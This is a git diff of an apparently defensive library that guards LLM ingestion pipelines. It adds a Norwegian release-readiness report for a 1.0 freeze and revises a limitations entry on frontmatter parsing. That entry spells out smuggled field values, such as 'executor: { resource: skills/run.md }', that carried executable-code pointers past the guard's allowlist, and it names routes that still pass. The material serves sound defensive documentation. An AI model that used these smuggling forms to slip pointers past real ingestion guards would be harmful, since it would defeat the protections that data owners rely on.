pipelines — the write-time siblings of query-time chatbot guardrails.**
|
||||
|
||||
Status: implemented — v0.2 (alpha). This document defines what the repo contains
|
||||
Status: implemented — v1.2.0, exported surface frozen under semver. This document defines what the repo contains
|
||||
and why; the stdlib-only core is built and tested (see `README.md` for usage and
|
||||
`docs/PLAN.md` for the build order).
|
||||
|
||||
|
|
|
|||
358
docs/GATE-G-v1.md
Normal file
358
docs/GATE-G-v1.md
Normal file
|
|
@ -0,0 +1,358 @@
|
|||
# Beslutningsgrunnlag — Session G, v1.0-frysen
|
||||
|
||||
**Målt:** 2026-08-13, mot `HEAD` = `2466d26` (v0.7.0 + tre test-commits).
|
||||
**Hva dette er:** underlaget for én operatørbeslutning — skal Python-surfacen fryses
|
||||
som `1.0.0`. **Hva dette ikke er:** beslutningen. Ingen tag, ingen versjonsbump,
|
||||
ingen frosset surface er utført i økten som skrev dette. Ingen kode er endret.
|
||||
|
||||
Alle tall her er produsert av en kommando i samme økt; verifiseringsloggen står
|
||||
nederst. `docs/PLAN-v1.md:231` er gate-teksten dette måles mot.
|
||||
|
||||
---
|
||||
|
||||
## 1. Rammen som gjør gaten tellbar
|
||||
|
||||
`docs/PLAN-v1.md:24` sier det selv: **v1.0 er primært et governance-løfte under
|
||||
semver.** Det er ikke en påstand om at biblioteket er ferdig, og ikke en påstand om
|
||||
at de 35 begrensningene er borte. Uten den rammen leses `docs/LIMITATIONS.md` som 35
|
||||
blokkere, og dokumentet argumenterer mot sin egen konklusjon.
|
||||
|
||||
Med rammen blir spørsmålet tellbart: **hvor mange av de 35 kan bare lukkes ved å
|
||||
endre betydningen, formen eller medlemskapet til noe i `__all__`?** Bare de blokkerer,
|
||||
fordi bare de tvinger `2.0.0`. Tre bøtter, én per begrensning:
|
||||
|
||||
- **(a)** lukkes med kalibrering, lexicon-data eller et predikat → ikke-brytende
|
||||
- **(b)** lukkes additivt (ny funksjon, nytt felt, ny implementasjon i en eksisterende søm) → minor
|
||||
- **(c)** lukkes bare ved å endre et eksportert symbols betydning eller form → **major**
|
||||
- **(–)** kan ikke lukkes i det hele tatt (permanent konsesjon, scope-grense, ren måling)
|
||||
|
||||
En fjerde akse er **uavhengig av semver og må ikke blandes med den**: hvilke
|
||||
begrensninger som, når de lukkes, fyrer konsument-varslingsplikten i
|
||||
`docs/PLAN-v1.md:419`. Et løfte kan brytes av en endring som er helt lovlig under
|
||||
semver. Den aksen er merket separat under.
|
||||
|
||||
---
|
||||
|
||||
## 2. Gatens literalkrav — hva som faktisk er sant
|
||||
|
||||
### 2.1 Session A–F ferdig — **OPPFYLT**
|
||||
|
||||
F var den siste operatør-gaten, og den landet som anbefalt spor F1 (konsesjon), ikke
|
||||
som TODO: `docs/PLAN.md:309` fører `.pdf`-raden som **conceded**, `docs/PLAN.md:323`
|
||||
og `README.md:226` beskriver den som «refused as an unsupported format», ikke som et
|
||||
kjent hull. A, A2, B, C, D, E er ute i tagger (`v0.3.0`–`v0.7.0`, tolv tagger totalt).
|
||||
|
||||
### 2.2 Suite, dekningsmatrise og dokumenttall — **OPPFYLT, re-målt**
|
||||
|
||||
| påstand | kilde | målt i dag |
|
||||
|---|---|---|
|
||||
| 792 tester | STATE | `792 passed in 13.11s` |
|
||||
| 129/129 klasser | STATE/README | `Caught classes: 129/129 demonstrated (recall 100%)` |
|
||||
| 6/6 dokumenterte gap | STATE | `Documented gaps: 6/6 still hold as documented` |
|
||||
| 35 begrensninger | README | `grep -c '^- \*\*'` → `35` |
|
||||
|
||||
Ingen avvik. `CHANGELOG.md` `[Unreleased]` er tom («Nothing yet»), så det finnes
|
||||
ingen ushippet atferd som frysen ville binde uten å ha beskrevet.
|
||||
|
||||
### 2.3 Ni versjonsflater synkrone — **OPPFYLT på 0.7.0**
|
||||
|
||||
Alle ni current-state-flatene `docs/PLAN-v1.md:277` navngir står på 0.7.0:
|
||||
`pyproject.toml:7`, `__init__.py:66`, README badge/status/install-pin (`:5`, `:36`,
|
||||
`:46`), `SECURITY.md:9` («pre-1.0 (`0.7.x`, alpha)»), `docs/BRIEF.md:6`,
|
||||
`CLAUDE.md:14`, `docs/ADOPTION-BRIEF.md:7`/`:143`. Sorteringen current-state vs.
|
||||
proveniens er ikke gjort her — den hører til selve release-utførelsen, og
|
||||
`docs/PLAN-v1.md:290` sier den kommer før første redigering.
|
||||
|
||||
### 2.4 «Første ekte integrasjon grønn» — **IKKE OPPFYLT ETTER BOKSTAVEN, dekket etter hensikten**
|
||||
|
||||
Dette er gatens tyngste krav og det eneste som ikke lar seg avgjøre med en kommando i
|
||||
dette repoet. Måling av hva som faktisk foreligger, lest fra coord-arkivet:
|
||||
|
||||
| dato | hva okf faktisk gjorde | guard-versjon |
|
||||
|---|---|---|
|
||||
| 2026-07-26 | 0.3.1-målingen **utsatt** (kvote) | — |
|
||||
| 2026-07-31 | «signalet er mottatt og rutet, kjøringen er ikke gjort» | — |
|
||||
| 2026-08-02 | scratch-venv, resolvet versjon bekreftet via `importlib.metadata`, ingen nye avvik | **0.3.4** |
|
||||
| 2026-08-12 | differensial på egen dør, begge dører, Python 3.11 **og** 3.14, tagger resolvet | **0.3.4 → 0.6.1** |
|
||||
|
||||
**Kjøringen gaten ber om ordrett — fixture-settet grønt mot `v0.3.1` — ble aldri
|
||||
gjort.** Den ble utsatt to ganger og deretter overhalt av virkeligheten: okf gikk rett
|
||||
på 0.3.4 og senere på en 0.3.4→0.6.1-differensial.
|
||||
|
||||
Målt mot gatens **hensikt** (`docs/PLAN-v1.md:19-25`: bevisbyrden skal komme utenfra,
|
||||
og release-hygienen skal ha overlevd én ekte syklus) er det som foreligger sterkere
|
||||
enn det som ble bestilt: en differensial på konsumentens egen dør, på to
|
||||
Python-versjoner, med taggene resolvet — som dessuten **korrigerte en påstand vi
|
||||
hadde publisert** («raw-html loosening is 1 of 3 forms»). En fixture-kjøring mot en
|
||||
tagg vi valgte ville ikke ha gjort det.
|
||||
|
||||
**Restgapet er presist og lite: ingen har kjørt 0.7.0-runtimen.** Nyeste guard-versjon
|
||||
noen integrator har eksekvert er **0.6.1**. 0.7.0-deltaet er bærersplitten og
|
||||
no-URL-narrowingen. Det deltaet har én ekstern kryss-sjekk fra en annen vinkel:
|
||||
`llm-security-commons` bygde klassifikatoren opp igjen fra sin egen JSON, uten import
|
||||
fra pakken vår, og differensialtestet mot `active_tag_class` over 42 probe-tagger med
|
||||
**0 uenigheter**. Det validerer klassifikatoren som *data*, ikke runtime-atferden.
|
||||
|
||||
### 2.5 Surface-deltaet siden sist eksternt pinnede versjon — **MÅLT**
|
||||
|
||||
`git diff v0.3.4..HEAD -- src/llm_ingestion_guard/__init__.py`, per symbol:
|
||||
|
||||
| symbol | endring siden 0.3.4 | semver-klasse | målt eksternt? |
|
||||
|---|---|---|---|
|
||||
| `Risk` | **lagt til** (0.5.0, aksesplittelsen) | additiv | nei |
|
||||
| `DEFAULT_ACTION_MAP` | **lagt til** (0.5.0) | additiv | nei |
|
||||
| `assert_within_input_cap` | **lagt til** (0.4.0) | additiv | nei |
|
||||
| `OversizeInputError` | **lagt til** (0.4.0) | additiv | nei |
|
||||
| alle øvrige 42 | uendret navn og signatur | — | 0.3.4 / 0.6.1 |
|
||||
|
||||
**Ingen symboler er fjernet eller omdøpt siden 0.3.4.** Verifisert med
|
||||
`git diff v0.3.4..HEAD -- __init__.py | grep '^-'`: de eneste slettede linjene er
|
||||
versjonsstrengen, en kommentar, og en `__all__`-linje som ble skrevet om for å
|
||||
*legge til* navn. Hele surface-veksten er additiv.
|
||||
|
||||
`__all__` er ikke hele den frosne flaten — `okf` eksporteres som navnerom, så
|
||||
signaturene der fryses også. Målt separat
|
||||
(`git diff v0.3.4..HEAD -- okf.py | grep -E '^[-+](def |class )'`): én endring,
|
||||
`link_graph(bundle)` → `link_graph(bundle, max_scan_chars=MAX_SCAN_CHARS)`. En
|
||||
keyword-parameter med default, bakoverkompatibel for enhver eksisterende kaller —
|
||||
men den gjør `okf.link_graph`s trunkeringsgrense til del av kontrakten fra 1.0.0. Det som *har* flyttet seg er atferd inne i allerede eksporterte funksjoner —
|
||||
elleve commits over `src/`, hvorav de som endrer utfall er: input-cap-refusjonen
|
||||
(0.4.0), aksesplittelsen (0.5.0), rå-HTML-narrowingen (0.6.0), ZWJ-kontekstfiksen
|
||||
(0.6.1) og bærersplitten (0.7.0).
|
||||
|
||||
Det er den ærlige formuleringen av risikoen ved å fryse nå: **formen er stabil,
|
||||
atferden har beveget seg i fem strekk, og fire eksporterte symboler har aldri vært
|
||||
gjennom en ekstern kjøring.**
|
||||
|
||||
---
|
||||
|
||||
## 3. De 35 begrensningene, bøttet
|
||||
|
||||
Hver rad navngir det eksporterte symbolet lukkingen ville røre, eller «ingen».
|
||||
Linjenummer er `docs/LIMITATIONS.md`. **⚠️ = lukking fyrer konsument-løfte 1.**
|
||||
|
||||
| # | linje | begrensning (kort) | rører | bøtte |
|
||||
|---|---|---|---|---|
|
||||
| 1 | :7 | strukturell uløselighet i tekstlaget | ingen | – |
|
||||
| 2 | :11 | lone HIGH i trusted prosa → WARN | `PRESET_TRUSTED_SOURCE`, `Policy` | a |
|
||||
| 3 | :17 | karantenegulvet er no-op under upload-preset | `Policy.quarantine_default` | a |
|
||||
| 4 | :26 | semantisk/faktisk poisoning usynlig | `SourceGroundingCheck` (søm finnes) | b |
|
||||
| 5 | :30 | adversarial-ML-evasion, tokenizer-mismatch | ingen | – |
|
||||
| 6 | :33 | dormant / broken-link-injeksjon | `okf.link_graph` | b |
|
||||
| 7 | :38 | OKF reserverte filer (`index.md`/`log.md`) | `okf.import_bundle` | – (avgjort i A2) |
|
||||
| 8 | :43 | én-nøkkels blokksekvens misparses stille | `okf.import_bundle` | b ⚑ |
|
||||
| 9 | :63 | T2 begrenser import, ikke emisjon | `okf` | b |
|
||||
| 10 | :68 | OKF v0.2-konsept kan ikke traversere import | `okf` | b |
|
||||
| 11 | :75 | persist-gate dekker ikke kjøringsrisiko | ingen | – |
|
||||
| 12 | :83 | dokument som *beskriver* angrep er FP | ingen | – |
|
||||
| 13 | :88 | tospråklig tekst tripper homoglyf-regelen | lexicon-data | a ⚑ *(«fix is pending»)* |
|
||||
| 14 | :93 | insider-redigeringer utenfor trusselmodell | ingen | – |
|
||||
| 15 | :95 | text-only, parser ingen filer | ingen | – |
|
||||
| 16 | :99 | kun ekstrahert tekst skannes; `.pdf` konsedert | dev-showcase | – (F1) |
|
||||
| 17 | :112 | lexicon-funn dedupliseres per id (`count=1`) | `Finding.count` | a |
|
||||
| 18 | :115 | ren beaconing er bare LOW | `calibration.py` | a ⚠️ |
|
||||
| 19 | :123 | korte opake URL-segmenter slipper gjennom | `scan_entropy`-terskler | a |
|
||||
| 20 | :130 | percent-escapes teller som databærende | kalibrering | a ⚠️ |
|
||||
| 21 | :166 | percent-escape slår ut tokeniseringen | kalibrering | a |
|
||||
| 22 | :190 | legitime CDN-hex-id-er tripper permanent | kalibrering | a |
|
||||
| 23 | :197 | ikke-tom query graderes som databærende | kalibrering | a ⚠️ |
|
||||
| 24 | :219 | rå-HTML-residualet er ekte HTML, ikke over-reach | `is_active_tag` | a |
|
||||
| 25 | :267 | bærersplitten strammer trusted tier | shippet 0.7.0 | – |
|
||||
| 26 | :292 | `count` teller ikke lenger endetagger | `Finding.count` | – (allerede flyttet) |
|
||||
| 27 | :300 | stor minoritet av benigne dokumenter persisterer ikke | måling | – |
|
||||
| 28 | :391 | URL-fragmenter graderes ikke | kalibrering | a ⚠️ |
|
||||
| 29 | :396 | hex-innpakket secret-egress fanges ikke | `scan_entropy` | b |
|
||||
| 30 | :402 | prosa som nevner `<script>` fyrer XSS-labelen | lexicon-data | a |
|
||||
| 31 | :426 | connstr-passord >256 tegn matches ikke | `MAX_CONNSTR_VALUE` | a |
|
||||
| 32 | :441 | ReDoS-sveipet har en målt følsomhetsgrense | metode | – |
|
||||
| 33 | :460 | **cap-asymmetrien: noen reiser, andre trunkerer** | `OversizeInputError` + tre funksjoner | **c** |
|
||||
| 34 | :492 | **`Severity` bærer fortsatt disposisjonsintensjon** | `Severity`, `Finding` | **c** ⚠️ |
|
||||
| 35 | :511 | ZWJ mellom emoji unntatt; ZWNJ urørt | predikat/kalibrering | a |
|
||||
|
||||
**Sum: 2 i bøtte (c). 6 i (b). 15 i (a). 12 kan ikke lukkes.**
|
||||
|
||||
### De to (c)-punktene — den faktiske gaten
|
||||
|
||||
**:492 — `Severity` bærer disposisjonsintensjon.** 0.5.0 skilte vurdering (`Risk`) fra
|
||||
handling (`Disposition`), men bare på *kallersiden*. Inne i detektorene er en `Finding`s
|
||||
`Severity` fortsatt kalibrert delvis etter disposisjonen den skal produsere. To steder i
|
||||
treet sier det rett ut (`ACTIVE_CONTENT_ORDINARY_SEVERITY = LOW`, og karantenegulvet
|
||||
hevet til MEDIUM+). Kostnaden: en ordinær ekstern `<img>` registreres som lav severity
|
||||
i stedet for som *en reell utoverrettet fetch-kapabilitet som ikke er bevis på angrep* —
|
||||
så ingen policy, uansett streng, kan handle på kapabiliteten, fordi detektoren allerede
|
||||
har bestemt at den ikke betydde noe. Lukking krever en kanal som sier hva som ble sett
|
||||
atskilt fra hvor ille det er. Det endrer `Finding` og `Severity`. **Det er `2.0.0`.**
|
||||
Det fyrer også løfte 1.
|
||||
|
||||
**:460 — cap-asymmetrien.** `sanitize`, `fence` og `neutralize` **reiser**
|
||||
`OversizeInputError` over 1 000 000 tegn; deteksjonsflatene **trunkerer** og emitterer
|
||||
`active:oversize-input`. Begge valg er begrunnet (de tre returnerer *innhold*, der en
|
||||
avkortet retur er stille datatap eller en bypass). Men asymmetrien er en
|
||||
*surface*-egenskap, ikke kalibrering: å gjøre dem like senere betyr enten en ny
|
||||
exception der en kaller i dag får en verdi, eller motsatt. **Frysen gjør asymmetrien
|
||||
permanent i 1.x.**
|
||||
|
||||
Ingen av de to er defekter som må fikses. Begge er valg som må **konsederes bevisst og
|
||||
skriftlig** før frysen, ikke stå som «deferred». Forskjellen mellom en konsesjon og en
|
||||
utsettelse er nettopp hva 1.0.0 lover.
|
||||
|
||||
### Én åpen korrekthetsdefekt som ikke er (c)
|
||||
|
||||
`:43` — en blokksekvens med **nøyaktig én** nøkkel per element parses stille til feil
|
||||
type (`sources:\n - uri: https://e.com/a` gir strengen, ikke en mapping), slik at en
|
||||
peker kan ri gjennom i en nøkkel `resource`-allowlisten aldri inspiserer. Lukking
|
||||
strammer hva `okf.import_bundle` slipper inn — atferd, ikke form, og konvensjonelt
|
||||
shippbart i en minor med note. Den blokkerer altså ikke frysen, men den bør **ikke
|
||||
oppdages av noen andre etter at vi har lovet stabilitet**. Nevnt her fordi «vi visste,
|
||||
og valgte å fryse først» er en holdbar posisjon og «vi hadde glemt den» ikke er det.
|
||||
|
||||
---
|
||||
|
||||
## 4. De to låste konsumentløftene — målt før/etter i samme økt
|
||||
|
||||
`docs/PLAN-v1.md:419` binder oss til å varsle `linkedin-studio` **før** enhver endring
|
||||
i graderingen av ordinære lenker/bilder under `PRESET_USER_UPLOAD`. De pinner v0.3.1.
|
||||
Mellom 0.3.1 og 0.7.0 flyttet både rå-HTML-narrowingen og bærersplitten grading. Spørsmålet
|
||||
er om noen av dem traff den lovede stien. Målt med samme probe mot begge trær
|
||||
(`git archive v0.3.1` scratch-tre vs. `HEAD`), samme økt:
|
||||
|
||||
| tilfelle | v0.3.1 | v0.7.0 |
|
||||
|---|---|---|
|
||||
| ordinær markdown-lenke | WARN / LOW | WARN / LOW |
|
||||
| ordinært markdown-bilde | WARN / LOW | WARN / LOW |
|
||||
| autolink | WARN / LOW | WARN / LOW |
|
||||
| refdef | WARN / LOW | WARN / LOW |
|
||||
| relativ lenke | WARN / rent | WARN / rent |
|
||||
| lenke med query | QUARANTINE_REVIEW / MEDIUM | QUARANTINE_REVIEW / MEDIUM |
|
||||
| `<a href="…">` | FAIL_SECURE / HIGH | **QUARANTINE_REVIEW / MEDIUM** |
|
||||
| `<a aria-label="…">` | FAIL_SECURE / HIGH | **WARN / rent** |
|
||||
| `</a>` | FAIL_SECURE / HIGH | **WARN / rent** |
|
||||
| `<iframe src>` | FAIL_SECURE / HIGH | FAIL_SECURE / HIGH |
|
||||
| `<div onclick>` | FAIL_SECURE / HIGH | FAIL_SECURE / HIGH |
|
||||
| ZWJ-komponert emoji | FAIL_SECURE / HIGH | **WARN / rent** |
|
||||
|
||||
**Løfte 1 er ikke brutt på den stien det navngir.** Alle fire ordinære
|
||||
markdown-formene — lenke, bilde, autolink, refdef — gir identisk disposisjon og
|
||||
identisk max-severity på 0.3.1 og 0.7.0. Det er den formen `linkedin-studio` pinner og
|
||||
bygger på.
|
||||
|
||||
**Fire rader flyttet seg likevel, og alle i løsnende retning.** Tre rå-HTML-bærere og
|
||||
ZWJ-fiksen. Løftets ordlyd er «ordinære lenker/bilder», og en `<a href>` *er* en
|
||||
ordinær lenke — bare i en annen bærer enn den løftet ble skrevet om. Løftets
|
||||
*begrunnelse* er derimot eksplisitt: «en stille re-stramming lander som
|
||||
produksjonsincident hos dem». Ingen av de fire er en stramming. **Om ordlyden eller
|
||||
begrunnelsen styrer, er en operatørbeslutning** (D4 under). Å konstatere bevegelsen er
|
||||
vår plikt; å avgjøre om den fyrer løftet er ikke.
|
||||
|
||||
**Den ene grenen har en konsekvens som allerede er påløpt, og den må stå ved siden av
|
||||
valget.** Løftet krever varsel **før** endringen shippes. Styrer ordlyden, ble varselet
|
||||
ikke gitt — ikke for 0.6.0, ikke for 0.6.1 og ikke for 0.7.0. `docs/PLAN-v1.md:423`
|
||||
kaller det å bryte ett av de to løftene stille «en release-defekt, ikke en preferanse».
|
||||
1.0.0 ville da være fjerde utgivelse forbi det. Botemiddelet på den grenen er et
|
||||
etterskuddsvarsel til `linkedin-studio` **før** frysen, med de fire målte radene — men
|
||||
det er operatørens å autorisere, ikke vår å sende på eget initiativ, nettopp fordi det
|
||||
er en innrømmelse av brudd.
|
||||
|
||||
**Hva proben sammenlignet, og hva den ikke gjorde.** Den sammenlignet `disposition` og
|
||||
`max_severity`. Den sammenlignet **ikke** label-identitet, og konsumenter nøkler på
|
||||
labels. «Identisk» i tabellen over betyr altså identisk utfall, ikke bevist identisk
|
||||
label-sett.
|
||||
|
||||
Løfte 2 (relativ-mål-asymmetrien mot `llm-ingestion-okf`) er urørt: den relative lenken
|
||||
er ren på begge versjoner.
|
||||
|
||||
---
|
||||
|
||||
## 5. Hva 1.0.0 faktisk binder oss til
|
||||
|
||||
Positivt, og verdt å si tydelig fordi det er lett å undervurdere: **surfacen har ikke
|
||||
mistet et eneste symbol siden 0.3.4.** Hele veksten er additiv. Fire minor-utgivelser
|
||||
har lagt til fire navn og ikke fjernet noen. Det er nettopp den formstabiliteten en
|
||||
1.0 lover, og den er målt, ikke antatt.
|
||||
|
||||
Det 1.0.0 binder:
|
||||
|
||||
1. `__all__` med sine 46 navn (`len(llm_ingestion_guard.__all__)`) — ingen kan fjernes
|
||||
eller omdøpes før `2.0.0`.
|
||||
2. `Severity`s doble rolle (:492) — permanent i 1.x.
|
||||
3. Cap-asymmetrien (:460) — permanent i 1.x.
|
||||
4. `Finding.count`s betydning, som *nettopp* flyttet i 0.7.0 (:292). Frysen kommer én
|
||||
utgivelse etter at et publisert felt endret tallverdi for hvert dokument med `</a>`.
|
||||
5. `DEFAULT_ACTION_MAP` som del av kontrakten, ikke som implementasjonsdetalj.
|
||||
|
||||
Punkt 4 er den skarpeste innvendingen mot å fryse akkurat nå, og den fortjener å stå
|
||||
uten pynt: vi ville fryse feltet ett steg etter at det sist beveget seg.
|
||||
|
||||
---
|
||||
|
||||
## 6. Den lukkede beslutningsmengden
|
||||
|
||||
Seks beslutninger. Ingen av dem kan tas av denne økten.
|
||||
|
||||
| # | beslutning | status |
|
||||
|---|---|---|
|
||||
| **D1** | Teller okfs 0.3.4-måling + 0.3.4→0.6.1-differensialen som gatens «første ekte integrasjon grønn», når 0.3.1-kjøringen gaten ber om aldri ble gjort? | **operatørvalg** |
|
||||
| **D2** | Skal frysen skje på 0.7.0, når nyeste eksternt kjørte runtime er 0.6.1? Alternativer: (i) frys på 0.7.0 nå og før restgapet som residual, (ii) be okf kjøre sin eksisterende differensial én gang til på 0.7.0 først, (iii) frys på 0.6.1-atferd. | **operatørvalg** |
|
||||
| **D3** | Skal :492 (`Severity`-kanalen) og :460 (cap-asymmetrien) konsederes permanent i 1.x og skrives om fra «deferred» til konsesjon — eller lukkes før frysen? | **operatørvalg** |
|
||||
| **D4** | Fyrer rå-HTML-løsningen 0.3.1→0.7.0 varslingsplikten mot `linkedin-studio`? Ordlyden («ordinære lenker/bilder») sier kanskje ja; begrunnelsen (stramming = incident) sier nei. **Sier ordlyden ja, er varselet allerede uteblitt i tre utgivelser, og valget inkluderer om et etterskuddsvarsel skal gå ut før frysen.** | **operatørvalg** |
|
||||
| **D5** | :88 sier «a calibration fix is pending». Skal den lukkes før frysen, eller skrives om til en konsesjon? En løs ende med ordet «pending» i en 1.0 er et løfte vi ikke har gitt. | **operatørvalg** |
|
||||
| **D6** | Er 0.7.0 `active_tag_class` en *settled shape* `llm-security-commons` kan pinne som data en tredje implementør holdes til? Dette **er** frysebeslutningen for den flaten — svaret på deres melding følger av D2. | **operatørvalg** |
|
||||
| — | A–F ferdig; suite/dekning/dokumenttall; ni versjonsflater synkrone; `[Unreleased]` tom | **oppfylt** |
|
||||
| — | Fixture-kjøring grønn mot `v0.3.1` etter gatens ordlyd | **ikke oppfylt, og blir det ikke** |
|
||||
|
||||
---
|
||||
|
||||
## 7. Anbefaling
|
||||
|
||||
**Gaten bør åpnes, på 0.7.0, uten å vente — D2 (i).** Med to forbehold som ikke koster
|
||||
en økt hver.
|
||||
|
||||
Begrunnelsen er ikke at bevisene er komplette. Den er at det som mangler er tynt og
|
||||
kryss-sjekket fra en annen kant: 0.7.0-deltaet er én klassifikator, og den er
|
||||
uavhengig rekonstruert av `llm-security-commons` fra deres egen JSON og
|
||||
differensialtestet mot vår over 42 probe-tagger med 0 uenigheter. Fire eksporterte
|
||||
symboler er aldri eksternt kjørt, men alle fire er *additive* — en konsument som ikke
|
||||
kaller dem merker dem ikke.
|
||||
|
||||
**Motargumentet, som er reelt:** 0.7.0 er nøyaktig det området okf har målt to ganger,
|
||||
og `Finding.count` flyttet seg der for én utgivelse siden. En integrator som er primet
|
||||
til å måle akkurat dette billig, er den beste kilden vi har. Det som taler imot å vente
|
||||
er historikken: 0.3.1-målingen ble utsatt 26. juli, aldri hentet inn, og overhalt av at
|
||||
okf gikk videre på egen hånd. **En gate som venter på et annet repos kvote er en gate
|
||||
som kan bli stående åpen i ukevis.** Vi bør varsle okf om 0.7.0, ikke gjøre frysen
|
||||
avhengig av at de svarer.
|
||||
|
||||
**Forbehold 1 (D3):** skriv :492 og :460 om fra «deferred deliberately» til
|
||||
«konsedert i 1.x» i `LIMITATIONS.md`, og la `SECURITY.md` si hva 1.x faktisk lover.
|
||||
Det er tekstarbeid, ikke kodearbeid, og det er forskjellen mellom et løfte vi kan holde
|
||||
og et vi bare har formulert.
|
||||
|
||||
**Forbehold 2 (D5):** ta ordet «pending» ut av :88, i én av to retninger. Enten lukkes
|
||||
kalibreringen, eller så er den en konsesjon.
|
||||
|
||||
**Det som ville endret anbefalingen:** at okf svarer at 0.7.0-bærersplitten treffer
|
||||
deres `.md`-dør i en form de ikke har målt. Da er én kjøring verdt ventetiden, fordi
|
||||
det er den eneste flaten hvor 0.7.0 kan ha gjort noe vi ikke vet om.
|
||||
|
||||
---
|
||||
|
||||
## 8. Verifiseringslogg
|
||||
|
||||
| påstand | kommando | resultat |
|
||||
|---|---|---|
|
||||
| suite grønn | `PYTHONPATH=src .venv/bin/pytest` | `792 passed in 13.11s` |
|
||||
| dekning | `PYTHONPATH=src .venv/bin/python -m llm_ingestion_guard.coverage` | `129/129`, `6/6`, exit 0 |
|
||||
| 35 begrensninger | `grep -c '^- \*\*' docs/LIMITATIONS.md` | `35` |
|
||||
| surface-delta | `git diff v0.3.4..HEAD -- src/llm_ingestion_guard/__init__.py` | 4 tillegg, 0 fjerninger |
|
||||
| atferdsflytt | `git log --oneline v0.3.4..HEAD -- src/` | 11 commits |
|
||||
| tagger | `git tag --list` | `v0.1.0` … `v0.7.0` (12) |
|
||||
| løfte 1 | probe kjørt mot `git archive v0.3.1` scratch-tre og `HEAD`, samme skript | 4 ordinære markdown-former identiske; 4 rader løsnet |
|
||||
| `.pdf` konsedert | `grep -n -i pdf README.md docs/PLAN.md` | `docs/PLAN.md:309` «conceded» |
|
||||
| versjonsflater | `grep` over de ni flatene `docs/PLAN-v1.md:277` navngir | alle `0.7.0` |
|
||||
| `[Unreleased]` | `sed -n '1,14p' CHANGELOG.md` | «Nothing yet» |
|
||||
| integrasjonshistorikk | coord-arkivet, meldinger fra `llm-ingestion-okf` | 0.3.1-kjøring utsatt 07-26, aldri gjort; 0.3.4 målt 08-02; 0.3.4→0.6.1 målt 08-12 |
|
||||
|
||||
Probe-skriptet lå i en scratch-katalog og er ikke sporet — det er tolv linjer som
|
||||
kjører `screen_output(text, PRESET_USER_UPLOAD)` over tolv faste input og skriver
|
||||
`disposition | max_severity | reasons`. Reproduseres på et minutt mot et hvilket som
|
||||
helst par tagger.
|
||||
|
|
@ -40,38 +40,82 @@ items; this is the full list, each with the mechanism.
|
|||
(an injection in a directory listing is caught) rather than path-rejecting the
|
||||
conformant bundle. A front-end materialising individual uploads keeps the opposite
|
||||
rule (`allow_reserved=False`): a reserved basename is a listing-shadow and refused.
|
||||
- **OKF frontmatter is a restricted grammar, and a one-key block-sequence item is
|
||||
silently misparsed.** Gate T2 accepts a line-oriented subset deliberately — full
|
||||
YAML is a larger parse-attack surface than a write-time gate needs. Nested mappings
|
||||
and flow collections (`[a, b]`, `{k: v}`) are *rejected outright*, which fails
|
||||
secure. **All three routes to a mapping fail, each on a different rule** — flow
|
||||
(`{k: v}`) on the disallowed value-start indicator, block (`k:\n sub: v`) on the
|
||||
nested-mapping check, and dotted keys (`k.sub: v`) on the key pattern — so the
|
||||
mapping *class* has no expressible form, rather than one form being preferable to
|
||||
another. What survives is scalars and flat lists of strings. The defect is between
|
||||
those two outcomes: a block sequence whose items carry
|
||||
exactly **one** key parses "successfully" into the wrong type —
|
||||
`sources:\n - uri: https://e.com/a` yields the **string** `'uri: https://e.com/a'`,
|
||||
not a mapping, while the same list with two keys per item hard-rejects. A pointer
|
||||
can therefore ride through in a key the `resource` allowlist never inspects
|
||||
(`attester:\n - resource: attesters/sql_equality.py` → WARN), whereas a top-level
|
||||
`resource:` with a relative path correctly fails secure. The shape is not conformant
|
||||
OKF, so a well-formed bundle will not produce it; a malformed or hostile one can, and
|
||||
mode-b `import_bundle` writes the merged concept verbatim. Note the three block-list
|
||||
shapes are *not* one case: flat scalars parse correctly, one key per item misparses
|
||||
silently, two keys per item hard-rejects.
|
||||
- **OKF frontmatter is a restricted grammar: the mapping class has exactly one
|
||||
expressible form.** Gate T2 accepts a line-oriented subset deliberately — full YAML
|
||||
is a larger parse-attack surface than a write-time gate needs. Flow sequences
|
||||
(`[a, b]`) and nested mappings are *rejected outright*, which fails secure.
|
||||
**Three of the four routes to a mapping fail, each on a different rule** — block
|
||||
(`k:\n sub: v`) on the nested-mapping check, dotted keys (`k.sub: v`) on the key
|
||||
pattern, and the inline second colon (`k: sub: v`) on the mapping-construct check.
|
||||
**The fourth, the flow form, is admitted only when every key is on an allowlist**
|
||||
(`by`, `at`, `from`, `to`, `id`, `title`, `author`, `usage_count`,
|
||||
`last_modified` — the keys SPEC.md @ `62432a09` §5.1/§5.2 names inside a mapping)
|
||||
and every leaf is a plain scalar, itself run through the same value predicates as a
|
||||
top-level scalar. Nested collections, quoted leaves, duplicate keys, an empty or
|
||||
unclosed mapping, and `{a:b}` (which PyYAML 6.0.3 reads as the *key* `a:b`, not as
|
||||
a scalar) all raise. The form is expressible, never trusted: the allowlist
|
||||
inspects every key, which is the property that carried the security when the
|
||||
blanket refusal was doing the enforcing. **`resource` is deliberately off the
|
||||
allowlist** although §5.1 names it inside a `sources` entry — it is a pointer
|
||||
rather than a label and the only key T3 exists for, so admitting it would let
|
||||
`executor: { resource: skills/run.md }` carry an executable-code pointer through a
|
||||
key the https allowlist never inspects. What else survives is scalars and flat
|
||||
lists of strings. **Two routes used to
|
||||
degrade into a string instead of failing, and that defect is closed in `1.1.0`**:
|
||||
a block-sequence item carrying exactly one key (`sources:\n - uri: https://e.com/a`
|
||||
yielded the *string* `'uri: https://e.com/a'`) and the inline second colon
|
||||
(`attester: resource: attesters/sql_equality.py`, which a real YAML parser refuses
|
||||
outright). Both parsed "successfully" into the wrong *type*, and a pointer parked
|
||||
in one rode through in a key the `resource` allowlist never inspects — mode-b
|
||||
`import_bundle` returned WARN and wrote the merged concept verbatim. Both now
|
||||
FAIL_SECURE at T2, before the allowlist is reached. **What closed is the type
|
||||
confusion, not pointer-smuggling as a class:** T3 still inspects `resource` and
|
||||
nothing else, so an honest *string* under another key rides through exactly as
|
||||
before — `attester: attesters/sql_equality.py` is WARN, while the same path
|
||||
under `resource:` FAIL_SECUREs. That is by design (the string is scanned like
|
||||
any other frontmatter value under T1) and it is not what `1.1.0` changed.
|
||||
**The boundary is where YAML
|
||||
puts it**, ground-truthed against PyYAML 6.0.3: `": "` and a trailing `":"` open a
|
||||
mapping and are refused; a colon carrying neither a space nor a line end
|
||||
(`domain:security`, `https://e.com:8443/a`) does not and still parses, as does a
|
||||
quoted scalar (`- "uri: x"`). Quotes are retained rather than stripped — a
|
||||
divergence from YAML that remains, pinned in `tests/test_okf.py`.
|
||||
- **T2 constrains import, not emission.** The frontmatter grammar runs on
|
||||
